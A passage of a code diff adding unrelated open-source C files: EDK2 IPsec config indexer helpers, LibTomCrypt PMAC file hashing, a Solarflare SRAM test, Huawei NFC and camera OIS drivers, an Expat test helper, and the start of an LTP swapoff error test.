Status; + EFI_STATUS Status1; + UINT64 Value64; + CONST CHAR16 *ValueStr; + + ValueStr = NULL; + + if (ShellCommandLineGetFlag (ParamPackage, L"-i")) { + ValueStr = ShellCommandLineGetValue (ParamPackage, L"-i"); + } else if (ShellCommandLineGetFlag (ParamPackage, L"-d")) { + ValueStr = ShellCommandLineGetValue (ParamPackage, L"-d"); + } else if (ShellCommandLineGetFlag (ParamPackage, L"-e")) { + ValueStr = ShellCommandLineGetValue (ParamPackage, L"-e"); + } else { + ASSERT (FALSE); + } + + ASSERT (ValueStr != NULL); + + Value64 = StrToUInteger (ValueStr, &Status); + if (!EFI_ERROR (Status)) { + Indexer->Index = (UINTN) Value64; + ZeroMem (&Indexer->SaId, sizeof (EFI_IPSEC_SA_ID)); + } else { + if ((!ShellCommandLineGetFlag (ParamPackage, L"--lookup-spi")) || + (!ShellCommandLineGetFlag (ParamPackage, L"--lookup-ipsec-proto")) || + (!ShellCommandLineGetFlag (ParamPackage, L"--lookup-dest"))) { + ShellPrintHiiEx ( + -1, + -1, + NULL, + STRING_TOKEN (STR_IPSEC_CONFIG_MISSING_ONE_OF_PARAMETERS), + mHiiHandle, + mAppName, + L"--lookup-spi --lookup-ipsec-proto --lookup-dest" + ); + return EFI_INVALID_PARAMETER; + } + + Status = GetNumber ( + L"--lookup-spi", + (UINT32) -1, + &Indexer->SaId.Spi, + sizeof (UINT32), + NULL, + ParamPackage, + FORMAT_NUMBER + ); + Status1 = GetNumber ( + L"--lookup-ipsec-proto", + 0, + &Indexer->SaId.Proto, + sizeof (EFI_IPSEC_PROTOCOL_TYPE), + mMapIpSecProtocol, + ParamPackage, + FORMAT_STRING + ); + + if (EFI_ERROR (Status) || EFI_ERROR (Status1)) { + return EFI_INVALID_PARAMETER; + } + + ValueStr = ShellCommandLineGetValue (ParamPackage, L"--lookup-dest"); + ASSERT (ValueStr != NULL); + + Status = EfiInetAddr2 ((CHAR16 *) ValueStr, &Indexer->SaId.DestAddress); + if (EFI_ERROR (Status)) { + ShellPrintHiiEx ( + -1, + -1, + NULL, + STRING_TOKEN (STR_IPSEC_CONFIG_INCORRECT_PARAMETER_VALUE), + mHiiHandle, + mAppName, + L"--lookup-dest", + ValueStr + ); + return EFI_INVALID_PARAMETER; + } + } + + return EFI_SUCCESS; +} + +/** + Fill in PAD_ENTRY_INDEXER through ParamPackage list. + + @param[in, out] Indexer The pointer to the PAD_ENTRY_INDEXER structure. + @param[in] ParamPackage The pointer to the ParamPackage list. + + @retval EFI_SUCCESS Filled in PAD_ENTRY_INDEXER successfully. + @retval EFI_INVALID_PARAMETER The mistaken user input in ParamPackage list. +**/ +EFI_STATUS +ConstructPadIndexer ( + IN OUT PAD_ENTRY_INDEXER *Indexer, + IN LIST_ENTRY *ParamPackage + ) +{ + EFI_STATUS Status; + UINT64 Value64; + CONST CHAR16 *ValueStr; + + ValueStr = NULL; + + if (ShellCommandLineGetFlag (ParamPackage, L"-i")) { + ValueStr = ShellCommandLineGetValue (ParamPackage, L"-i"); + } else if (ShellCommandLineGetFlag (ParamPackage, L"-d")) { + ValueStr = ShellCommandLineGetValue (ParamPackage, L"-d"); + } else if (ShellCommandLineGetFlag (ParamPackage, L"-e")) { + ValueStr = ShellCommandLineGetValue (ParamPackage, L"-e"); + } else { + ASSERT (FALSE); + } + + ASSERT (ValueStr != NULL); + + Value64 = StrToUInteger (ValueStr, &Status); + + if (!EFI_ERROR (Status)) { + Indexer->Index = (UINTN) Value64; + ZeroMem (&Indexer->PadId, sizeof (EFI_IPSEC_PAD_ID)); + } else { + + if (ShellCommandLineGetFlag (ParamPackage, L"--lookup-peer-address")) { + ValueStr = ShellCommandLineGetValue (ParamPackage, L"--lookup-peer-address"); + ASSERT (ValueStr != NULL); + + Indexer->PadId.PeerIdValid = FALSE; + Status = EfiInetAddrRange ((CHAR16 *) ValueStr, &Indexer->PadId.Id.IpAddress); + if (EFI_ERROR (Status)) { + ShellPrintHiiEx ( + -1, + -1, + NULL, + STRING_TOKEN (STR_IPSEC_CONFIG_INCORRECT_PARAMETER_VALUE), + mHiiHandle, + mAppName, + L"--lookup-peer-address", + ValueStr + ); + return EFI_INVALID_PARAMETER; + } + } else { + ValueStr = ShellCommandLineGetValue (ParamPackage, L"--lookup-peer-id"); + if (ValueStr == NULL) { + ShellPrintHiiEx ( + -1, + -1, + NULL, + STRING_TOKEN (STR_IPSEC_CONFIG_MISSING_ONE_OF_PARAMETERS), + mHiiHandle, + mAppName, + L"--lookup-peer-address --lookup-peer-id" + ); + return EFI_INVALID_PARAMETER; + } + + Indexer->PadId.PeerIdValid = TRUE; + StrnCpy ((CHAR16 *) Indexer->PadId.Id.PeerId, ValueStr, ARRAY_SIZE (Indexer->PadId.Id.PeerId) - 1); + } + } + + return EFI_SUCCESS; +} + +CONSTRUCT_POLICY_ENTRY_INDEXER mConstructPolicyEntryIndexer[] = { + (CONSTRUCT_POLICY_ENTRY_INDEXER) ConstructSpdIndexer, + (CONSTRUCT_POLICY_ENTRY_INDEXER) ConstructSadIndexer, + (CONSTRUCT_POLICY_ENTRY_INDEXER) ConstructPadIndexer +}; diff --git a/pool/shard011/C/0142410_pmac_file.c b/pool/shard011/C/0142410_pmac_file.c new file mode 100644 index 0000000000000000000000000000000000000000..192653f88d52a796caf84ec16990d3288e002eeb --- /dev/null +++ b/pool/shard011/C/0142410_pmac_file.c @@ -0,0 +1,84 @@ +/* LibTomCrypt, modular cryptographic library -- Tom St Denis + * + * LibTomCrypt is a library that provides various cryptographic + * algorithms in a highly modular and flexible manner. + * + * The library is free for all purposes without any express + * guarantee it works. + * + * Tom St Denis, tomstdenis@gmail.com, http://libtomcrypt.com + */ +#include "tomcrypt.h" + +/** + @file pmac_file.c + PMAC implementation, process a file, by Tom St Denis +*/ + +#ifdef PMAC + +/** + PMAC a file + @param cipher The index of the cipher desired + @param key The secret key + @param keylen The length of the secret key (octets) + @param filename The name of the file to send through PMAC + @param out [out] Destination for the authentication tag + @param outlen [in/out] Max size and resulting size of the authentication tag + @return CRYPT_OK if successful, CRYPT_NOP if file support has been disabled +*/ +int pmac_file(int cipher, + const unsigned char *key, unsigned long keylen, + const char *filename, + unsigned char *out, unsigned long *outlen) +{ +#ifdef LTC_NO_FILE + return CRYPT_NOP; +#else + int err, x; + pmac_state pmac; + FILE *in; + unsigned char buf[512]; + + + LTC_ARGCHK(key != NULL); + LTC_ARGCHK(filename != NULL); + LTC_ARGCHK(out != NULL); + LTC_ARGCHK(outlen != NULL); + + in = fopen(filename, "rb"); + if (in == NULL) { + return CRYPT_FILE_NOTFOUND; + } + + if ((err = pmac_init(&pmac, cipher, key, keylen)) != CRYPT_OK) { + fclose(in); + return err; + } + + do { + x = fread(buf, 1, sizeof(buf), in); + if ((err = pmac_process(&pmac, buf, x)) != CRYPT_OK) { + fclose(in); + return err; + } + } while (x == sizeof(buf)); + fclose(in); + + if ((err = pmac_done(&pmac, out, outlen)) != CRYPT_OK) { + return err; + } + +#ifdef LTC_CLEAN_STACK + zeromem(buf, sizeof(buf)); +#endif + + return CRYPT_OK; +#endif +} + +#endif + +/* $Source: /cvs/libtom/libtomcrypt/src/mac/pmac/pmac_file.c,v $ */ +/* $Revision: 1.4 $ */ +/* $Date: 2006/03/31 14:15:35 $ */ diff --git a/pool/shard011/C/0142411_siena_sram.c b/pool/shard011/C/0142411_siena_sram.c new file mode 100644 index 0000000000000000000000000000000000000000..572c2e9a65c1dd9cdc6bd12e3b390cf0f1ddbcf0 --- /dev/null +++ b/pool/shard011/C/0142411_siena_sram.c @@ -0,0 +1,178 @@ +/* + * Copyright (c) 2009-2016 Solarflare Communications Inc. + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" + * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, + * THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR + * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR + * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, + * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, + * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; + * OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, + * WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR + * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, + * EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + * + * The views and conclusions contained in the software and documentation are + * those of the authors and should not be interpreted as representing official + * policies, either expressed or implied, of the FreeBSD Project. + */ + +#include "efx.h" +#include "efx_impl.h" + +#if EFSYS_OPT_SIENA + + void +siena_sram_init( + __in efx_nic_t *enp) +{ + efx_nic_cfg_t *encp = &(enp->en_nic_cfg); + efx_oword_t oword; + uint32_t rx_base, tx_base; + + EFSYS_ASSERT3U(enp->en_magic, ==, EFX_NIC_MAGIC); + EFSYS_ASSERT(enp->en_family == EFX_FAMILY_SIENA); + + rx_base = encp->enc_buftbl_limit; + tx_base = rx_base + (encp->enc_rxq_limit * + EFX_RXQ_DC_NDESCS(EFX_RXQ_DC_SIZE)); + + /* Initialize the transmit descriptor cache */ + EFX_POPULATE_OWORD_1(oword, FRF_AZ_SRM_TX_DC_BASE_ADR, tx_base); + EFX_BAR_WRITEO(enp, FR_AZ_SRM_TX_DC_CFG_REG, &oword); + + EFX_POPULATE_OWORD_1(oword, FRF_AZ_TX_DC_SIZE, EFX_TXQ_DC_SIZE); + EFX_BAR_WRITEO(enp, FR_AZ_TX_DC_CFG_REG, &oword); + + /* Initialize the receive descriptor cache */ + EFX_POPULATE_OWORD_1(oword, FRF_AZ_SRM_RX_DC_BASE_ADR, rx_base); + EFX_BAR_WRITEO(enp, FR_AZ_SRM_RX_DC_CFG_REG, &oword); + + EFX_POPULATE_OWORD_1(oword, FRF_AZ_RX_DC_SIZE, EFX_RXQ_DC_SIZE); + EFX_BAR_WRITEO(enp, FR_AZ_RX_DC_CFG_REG, &oword); + + /* Set receive descriptor pre-fetch low water mark */ + EFX_POPULATE_OWORD_1(oword, FRF_AZ_RX_DC_PF_LWM, 56); + EFX_BAR_WRITEO(enp, FR_AZ_RX_DC_PF_WM_REG, &oword); + + /* Set the event queue to use for SRAM updates */ + EFX_POPULATE_OWORD_1(oword, FRF_AZ_SRM_UPD_EVQ_ID, 0); + EFX_BAR_WRITEO(enp, FR_AZ_SRM_UPD_EVQ_REG, &oword); +} + +#if EFSYS_OPT_DIAG + + __checkReturn efx_rc_t +siena_sram_test( + __in efx_nic_t *enp, + __in efx_sram_pattern_fn_t func) +{ + efx_oword_t oword; + efx_qword_t qword; + efx_qword_t verify; + size_t rows; + unsigned int wptr; + unsigned int rptr; + efx_rc_t rc; + + EFSYS_ASSERT(enp->en_family == EFX_FAMILY_SIENA); + + /* Reconfigure into HALF buffer table mode */ + EFX_POPULATE_OWORD_1(oword, FRF_AZ_BUF_TBL_MODE, 0); + EFX_BAR_WRITEO(enp, FR_AZ_BUF_TBL_CFG_REG, &oword); + + /* + * Move the descriptor caches up to the top of SRAM, and test + * all of SRAM below them. We only miss out one row here. + */ + rows = SIENA_SRAM_ROWS - 1; + EFX_POPULATE_OWORD_1(oword, FRF_AZ_SRM_RX_DC_BASE_ADR, rows); + EFX_BAR_WRITEO(enp, FR_AZ_SRM_RX_DC_CFG_REG, &oword); + + EFX_POPULATE_OWORD_1(oword, FRF_AZ_SRM_TX_DC_BASE_ADR, rows + 1); + EFX_BAR_WRITEO(enp, FR_AZ_SRM_TX_DC_CFG_REG, &oword); + + /* + * Write the pattern through BUF_HALF_TBL. Write + * in 64 entry batches, waiting 1us in between each batch + * to guarantee not to overflow the SRAM fifo + */ + for (wptr = 0, rptr = 0; wptr < rows; ++wptr) { + func(wptr, B_FALSE, &qword); + EFX_BAR_TBL_WRITEQ(enp, FR_AZ_BUF_HALF_TBL, wptr, &qword); + + if ((wptr - rptr) < 64 && wptr < rows - 1) + continue; + + EFSYS_SPIN(1); + + for (; rptr <= wptr; ++rptr) { + func(rptr, B_FALSE, &qword); + EFX_BAR_TBL_READQ(enp, FR_AZ_BUF_HALF_TBL, rptr, + &verify); + + if (!EFX_QWORD_IS_EQUAL(verify, qword)) { + rc = EFAULT; + goto fail1; + } + } + } + + /* And do the same negated */ + for (wptr = 0, rptr = 0; wptr < rows; ++wptr) { + func(wptr, B_TRUE, &qword); + EFX_BAR_TBL_WRITEQ(enp, FR_AZ_BUF_HALF_TBL, wptr, &qword); + + if ((wptr - rptr) < 64 && wptr < rows - 1) + continue; + + EFSYS_SPIN(1); + + for (; rptr <= wptr; ++rptr) { + func(rptr, B_TRUE, &qword); + EFX_BAR_TBL_READQ(enp, FR_AZ_BUF_HALF_TBL, rptr, + &verify); + + if (!EFX_QWORD_IS_EQUAL(verify, qword)) { + rc = EFAULT; + goto fail2; + } + } + } + + /* Restore back to FULL buffer table mode */ + EFX_POPULATE_OWORD_1(oword, FRF_AZ_BUF_TBL_MODE, 1); + EFX_BAR_WRITEO(enp, FR_AZ_BUF_TBL_CFG_REG, &oword); + + /* + * We don't need to reconfigure SRAM again because the API + * requires efx_nic_fini() to be called after an sram test. + */ + return (0); + +fail2: + EFSYS_PROBE(fail2); +fail1: + EFSYS_PROBE1(fail1, efx_rc_t, rc); + + /* Restore back to FULL buffer table mode */ + EFX_POPULATE_OWORD_1(oword, FRF_AZ_BUF_TBL_MODE, 1); + EFX_BAR_WRITEO(enp, FR_AZ_BUF_TBL_CFG_REG, &oword); + + return (rc); +} + +#endif /* EFSYS_OPT_DIAG */ + +#endif /* EFSYS_OPT_SIENA */ diff --git a/pool/shard011/C/0142412_dev_nfc.c b/pool/shard011/C/0142412_dev_nfc.c new file mode 100644 index 0000000000000000000000000000000000000000..88c7cd77ebe447da3a46ef0b9b21d70ded8ecbf3 --- /dev/null +++ b/pool/shard011/C/0142412_dev_nfc.c @@ -0,0 +1,133 @@ + /* + * arch/arm/mach-hi6620/dev_nfc.c + * + * Copyright (C) 2013 Huawei, Inc. + * + * This software is licensed under the terms of the GNU General Public + * License version 2, as published by the Free Software Foundation, and + * may be copied, distributed, and modified under those terms. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + */ +#include +#include +#include +#include +#include "dev_common.h" +#include "dev_nfc.h" +#include "hsad_connectivity.h" + +static int nfc_gpio_setup (struct pn544_i2c_platform_data *platform_data) + { + int retval = 0; + + retval = gpio_request(platform_data->firm_gpio, "nfc_firm"); + if (retval) { + pr_err("%s: Failed to get nfc_firm gpio %d. Code: %d.", + __func__, platform_data->firm_gpio, retval); + return retval; + } + + retval = gpio_direction_output(platform_data->firm_gpio,0); + if (retval) { + pr_err("%s: Failed to setup nfc_firm gpio %d. Code: %d.", + __func__, platform_data->firm_gpio, retval); + gpio_free(platform_data->firm_gpio); + return retval; + } + + + retval = gpio_request(platform_data->ven_gpio, "nfc_ven"); + if (retval) { + pr_err("%s: Failed to get nfc_ven gpio %d. Code: %d.", + __func__, platform_data->ven_gpio, retval); + gpio_free(platform_data->firm_gpio); + return retval; + } + + retval = gpio_direction_output(platform_data->ven_gpio, (NFC_GPIO_LEVEL_HIGH == platform_data->ven_valid_level)? 0:1); + if (retval) { + pr_err("%s: Failed to setup nfc_ven gpio %d. Code: %d.", + __func__, platform_data->ven_gpio, retval); + gpio_free(platform_data->ven_gpio); + gpio_free(platform_data->firm_gpio); + return retval; + } + + msleep (20); + retval = gpio_direction_output(platform_data->ven_gpio, (NFC_GPIO_LEVEL_HIGH == platform_data->ven_valid_level)? 1:0); + if (retval) { + pr_err("%s: Failed to setup nfc_ven gpio %d. Code: %d.", + __func__, platform_data->ven_gpio, retval); + gpio_free(platform_data->ven_gpio); + gpio_free(platform_data->firm_gpio); + } + msleep (10); + + return retval; + } + + + static struct pn544_i2c_platform_data pn544_platform_data = { + + .irq_gpio = 0, + .ven_gpio = 0, + .firm_gpio = 0, + .ven_valid_level = 0, + .clock_src = "", + .gpio_config = nfc_gpio_setup, + }; + +static struct i2c_board_info hi6620_nfc_i2c0_devs[]= { + [0] = { + .type = NFC_NAME, + .addr = NFC_ADDR, + .platform_data = &pn544_platform_data, + .irq = 0, + }, +}; + +static void init_nfc_dev_info(struct i2c_board_info *nfc_devs) +{ + if(NULL == nfc_devs){ + printk(KERN_ERR "%s nfc_devs == NULL !\n", __func__); + return ; + } + + ((struct pn544_i2c_platform_data *)nfc_devs[0].platform_data)->irq_gpio = hsad_get_nfc_irq_id(); + ((struct pn544_i2c_platform_data *)nfc_devs[0].platform_data)->ven_gpio = hsad_get_nfc_ven_id(); + ((struct pn544_i2c_platform_data *)nfc_devs[0].platform_data)->firm_gpio = hsad_get_nfc_firm_dload_id(); + ((struct pn544_i2c_platform_data *)nfc_devs[0].platform_data)->ven_valid_level = hsad_get_nfc_ven_valid_level(); + + if(false == hsad_get_nfc_clk_src(((struct pn544_i2c_platform_data *)nfc_devs[0].platform_data)->clock_src)){ + printk(KERN_WARNING "%s hsad_get_nfc_clk_src is %s!\n", __func__, ((struct pn544_i2c_platform_data *)nfc_devs[0].platform_data)->clock_src); + } + printk(KERN_WARNING "%s clock src is %s!\n", __func__, ((struct pn544_i2c_platform_data *)nfc_devs[0].platform_data)->clock_src); + + nfc_devs[0].irq = hsad_get_nfc_irq_id(); + +} + + +static int __init nfc_i2c_device_init(void) +{ + int status = -1; + + init_nfc_dev_info(hi6620_nfc_i2c0_devs); + + /*NFC PN547 board use I2C bus 0 */ + status = dev_i2c_add_devices(0, hi6620_nfc_i2c0_devs, ARRAY_SIZE(hi6620_nfc_i2c0_devs)); + if(status) + { + printk(KERN_ERR "register nfc_i2c_device error!\n"); + return status; + } + + return 0; +} + +device_initcall(nfc_i2c_device_init); diff --git a/pool/shard011/C/0142413_lc8981.c b/pool/shard011/C/0142413_lc8981.c new file mode 100644 index 0000000000000000000000000000000000000000..e3df038d737f7aa9765c528ea9a289ecd2bd8bac --- /dev/null +++ b/pool/shard011/C/0142413_lc8981.c @@ -0,0 +1,143 @@ +/* + * Hisilicon K3 SOC camera driver source file + * + * Copyright (C) Huawei Technology Co., Ltd. + * + * Author: + * Email: + * Date: 2014-11-15 + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA + */ + + +#include "hwois.h" + +//#define OIS_ID_CODE 0x24 +//#define I2V(i) container_of(i, ois_t, intf) + +static hw_ois_vtbl_t s_lc8981_vtbl; + +static ois_t s_lc8981 = +{ + .intf = { .vtbl = &s_lc8981_vtbl, }, +}; + +int lc8981_get_otp_ois(hw_ois_intf_t *ois_intf, void *data) +{ + /* todo */ + return 0; +} + +int lc8981_i2c_read(hw_ois_intf_t *ois_intf, void *data) +{ + /* todo */ + return 0; +} + +int lc8981_i2c_write(hw_ois_intf_t *ois_intf, void *data) +{ + /* todo */ + return 0; +} + +int lc8981_ioctl(hw_ois_intf_t *ois_intf, void *data) +{ + struct hw_ois_cfg_data *cdata = (struct hw_ois_cfg_data*)data; + int rc = 0; + + cam_debug("%s enter.\n", __func__); + + switch (cdata->cfgtype) { + case CFG_OIS_SET_CFG: + break; + case CFG_OIS_GET_OTP_AF: + rc = lc8981_get_otp_ois(ois_intf, data); + break; + default: + rc = -EFAULT; + cam_err("%s, invalid ois type(%d)! \n", __func__, cdata->cfgtype); + break; + } + + return rc; +} + +static hw_ois_vtbl_t +s_lc8981_vtbl = +{ + .ois_config = hw_ois_config, + .ois_i2c_read = lc8981_i2c_read, + .ois_i2c_write = lc8981_i2c_write, + .ois_ioctl = lc8981_ioctl, +}; + +static int32_t lc8981_platform_probe(struct platform_device *pdev) +{ + int rc = 0; + cam_debug("enter %s",__func__); + + if (pdev->dev.of_node) { + rc = hw_ois_get_dt_data(pdev, &s_lc8981); + if (rc < 0) { + cam_err("%s failed line %d\n", __func__, __LINE__); + goto lc8981_probe_fail; + } + } else { + cam_err("%s lc8981 of_node is NULL.\n", __func__); + goto lc8981_probe_fail; + } + + rc = hw_ois_register(pdev, &s_lc8981.intf, s_lc8981.ois_info); +lc8981_probe_fail: + return rc; +} + +static const struct of_device_id hw_lc8981_dt_match[] = { + {.compatible = "hisi,lc8981"}, + {} +}; +MODULE_DEVICE_TABLE(of, hw_lc8981_dt_match); +static struct platform_driver hw_lc8981_platform_driver = { + .driver = { + .name = "lc8981", + .owner = THIS_MODULE, + .of_match_table = hw_lc8981_dt_match, + }, +}; + +static int __init hw_lc8981_module_init(void) +{ + int rc = 0; + cam_debug("%s:%d\n", __func__, __LINE__); + + rc = platform_driver_probe(&hw_lc8981_platform_driver, + lc8981_platform_probe); + if (rc < 0) { + cam_notice("%s platform_driver_probe error.\n", __func__); + } + return rc; +} + +static void __exit hw_lc8981_module_exit(void) +{ + hw_ois_unregister(&s_lc8981.intf); + platform_driver_unregister(&hw_lc8981_platform_driver); +} + +module_init(hw_lc8981_module_init); +module_exit(hw_lc8981_module_exit); +MODULE_DESCRIPTION("LC8981 OIS"); +MODULE_LICENSE("GPL v2"); diff --git a/pool/shard011/C/0142414_structdata.c b/pool/shard011/C/0142414_structdata.c new file mode 100644 index 0000000000000000000000000000000000000000..e81b7b18460112c455743932ee0d0ddd39d97c51 --- /dev/null +++ b/pool/shard011/C/0142414_structdata.c @@ -0,0 +1,155 @@ +/* + __ __ _ + ___\ \/ /_ __ __ _| |_ + / _ \\ /| '_ \ / _` | __| + | __// \| |_) | (_| | |_ + \___/_/\_\ .__/ \__,_|\__| + |_| XML parser + + Copyright (c) 1997-2000 Thai Open Source Software Center Ltd + Copyright (c) 2000-2017 Expat development team + Licensed under the MIT license: + + Permission is hereby granted, free of charge, to any person obtaining + a copy of this software and associated documentation files (the + "Software"), to deal in the Software without restriction, including + without limitation the rights to use, copy, modify, merge, publish, + distribute, sublicense, and/or sell copies of the Software, and to permit + persons to whom the Software is furnished to do so, subject to the + following conditions: + + The above copyright notice and this permission notice shall be included + in all copies or substantial portions of the Software. + + THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, + EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF + MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN + NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, + DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR + OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE + USE OR OTHER DEALINGS IN THE SOFTWARE. +*/ + +#ifdef HAVE_EXPAT_CONFIG_H +# include "expat_config.h" +#endif + +#include +#include +#include +#include + +#include "structdata.h" +#include "minicheck.h" + +#define STRUCT_EXTENSION_COUNT 8 + +#ifdef XML_UNICODE_WCHAR_T +# include +# define XML_FMT_STR "ls" +# define xcstrlen(s) wcslen(s) +# define xcstrcmp(s, t) wcscmp((s), (t)) +#else +# define XML_FMT_STR "s" +# define xcstrlen(s) strlen(s) +# define xcstrcmp(s, t) strcmp((s), (t)) +#endif + +static XML_Char * +xmlstrdup(const XML_Char *s) { + size_t byte_count = (xcstrlen(s) + 1) * sizeof(XML_Char); + XML_Char *dup = malloc(byte_count); + + assert(dup != NULL); + memcpy(dup, s, byte_count); + return dup; +} + +void +StructData_Init(StructData *storage) { + assert(storage != NULL); + storage->count = 0; + storage->max_count = 0; + storage->entries = NULL; +} + +void +StructData_AddItem(StructData *storage, const XML_Char *s, int data0, int data1, + int data2) { + StructDataEntry *entry; + + assert(storage != NULL); + assert(s != NULL); + if (storage->count == storage->max_count) { + StructDataEntry *new; + + storage->max_count += STRUCT_EXTENSION_COUNT; + new = realloc(storage->entries, + storage->max_count * sizeof(StructDataEntry)); + assert(new != NULL); + storage->entries = new; + } + + entry = &storage->entries[storage->count]; + entry->str = xmlstrdup(s); + entry->data0 = data0; + entry->data1 = data1; + entry->data2 = data2; + storage->count++; +} + +/* 'fail()' aborts the function via a longjmp, so there is no point + * in returning a value from this function. + */ +void +StructData_CheckItems(StructData *storage, const StructDataEntry *expected, + int count) { + char buffer[1024]; + int i; + + assert(storage != NULL); + assert(expected != NULL); + if (count != storage->count) { + sprintf(buffer, "wrong number of entries: got %d, expected %d", + storage->count, count); + StructData_Dispose(storage); + fail(buffer); + } else { + for (i = 0; i < count; i++) { + const StructDataEntry *got = &storage->entries[i]; + const StructDataEntry *want = &expected[i]; + + assert(got != NULL); + assert(want != NULL); + + if (xcstrcmp(got->str, want->str) != 0) { + StructData_Dispose(storage); + fail("structure got bad string"); + } else { + if (got->data0 != want->data0 || got->data1 != want->data1 + || got->data2 != want->data2) { + sprintf(buffer, + "struct '%" XML_FMT_STR + "' expected (%d,%d,%d), got (%d,%d,%d)", + got->str, want->data0, want->data1, want->data2, got->data0, + got->data1, got->data2); + StructData_Dispose(storage); + fail(buffer); + } + } + } + } +} + +void +StructData_Dispose(StructData *storage) { + int i; + + assert(storage != NULL); + for (i = 0; i < storage->count; i++) + free((void *)storage->entries[i].str); + free(storage->entries); + + storage->count = 0; + storage->entries = NULL; +} diff --git a/pool/shard011/C/0142415_swapoff02.c b/pool/shard011/C/0142415_swapoff02.c new file mode 100644 index 0000000000000000000000000000000000000000..df96cc8fc5acff9fb9126bcf18f4581a6498a2a4 --- /dev/null +++ b/pool/shard011/C/0142415_swapoff02.c @@ -0,0 +1,305 @@ +/* + * Copyright (c) Wipro Technologies Ltd, 2002. All Rights Reserved. + * + * This program is free software; you can redistribute it and/or modify it + * under the terms of version 2 of the GNU General Public License as + * published by the Free Software Foundation. + * + * This program is distributed in the hope that it would be useful, but + * WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. + * + * You should have received a copy of the GNU General Public License along + * with this program; if not, write the Free Software Foundation, Inc., 59 + * Temple Place - Suite 330, Boston MA 02111-1307, USA. + * + */ +/************************************************************************** + * + * TEST IDENTIFIER : swapoff02 + * + * + * EXECUTED BY : root / superuser + * + * TEST TITLE : Test checking for basic error conditions + * for swapoff(2) + * + * TEST CASE TOTAL : 3 + * + * AUTHOR : Aniruddha Marathe + * + * SIGNALS + * Uses SIGUSR1 to pause before test if option set. + * (See the parse_opts(3) man page). + * + * DESCRIPTION + * This test case checks whether swapoff(2) system call returns + * 1. EINVAL when the path does not exist + * 2. ENOENT when the path exists but is invalid + * 3. EPERM when user is not a superuser + * + * Setup: + * Setup signal handling. + * Pause for SIGUSR1 if option specified. + * 1. For testing error on invalid user, change the effective uid + * $ + * Test: + * Loop if the proper options are given. + * Execute system call. + * Check return code, if system call fails with errno == expected errno + * Issue syscall passed with expected errno + * Otherwise, + * Issue syscall failed to produce expected errno + * + * Cleanup: + * Do cleanup for the test. + * $ + * USAGE: + * swapoff02 [-c n] [-e] [-i n] [-I x] [-p x] [-t] [-h] [-f] [-p] + * where + * -c n : Run n copies simultaneously + * -e : Turn on errno logging. + * -i n : Execute test n times. + * -I x : Execute test for x seconds. + * -p : Pause for SIGUSR1 before starting + * -P x : Pause for x seconds between iterations. + * -t : Turn on syscall timing. + * + *RESTRICTIONS: + *Incompatible with kernel versions below 2.1.35. + * + *CHANGES: + * 2005/01/01 Add extra check to stop test if insufficient disk space in dir + * -Ricky Ng-Adam (rngadam@yahoo.com) + * 2005/01/01 Add extra check to stop test if swap file is on tmpfs + * -Ricky Ng-Adam (rngadam@yahoo.com) + *****************************************************************************/ + +#include +#include +#include +#include +#include +#include +#include +#include "test.h" +#include "usctest.h" +#include +#include "config.h" +#include "linux_syscall_numbers.h" +#include "swaponoff.h" + +static void setup(); +static void cleanup(); +static int setup01(); +static int cleanup01(); +static int setup02(); + +char *TCID = "swapoff02"; /* Test program identifier. */ +int TST_TOTAL = 3; /* Total number of test cases. */ +char nobody_uid[] = "nobody"; +struct passwd *ltpuser; +int need_swapfile_cleanup = 0; /* attempt to swapoff in cleanup */ + +static int exp_enos[] = { EPERM, EINVAL, ENOENT, 0 }; + +static struct test_case_t { + char *err_desc; /* error description */ + int exp_errno; /* expected error number */ + char *exp_errval; /* Expected errorvalue string */ + char *path; /* path for swapon */ + int (*setupfunc) (); /* Test setup function */ + int (*cleanfunc) (); /* Test cleanup function */ +} testcase[] = { + { + "path does not exist", ENOENT, "ENOENT", "./abcd", NULL, NULL}, { + "Invalid path", EINVAL, "EINVAL ", "./nofile", setup02, NULL}, { + "Permission denied", EPERM, "EPERM ", "./swapfile01", + setup01, cleanup01} +}; + +int main(int ac, char **av) +{ + + int lc, i; /* loop counter */ 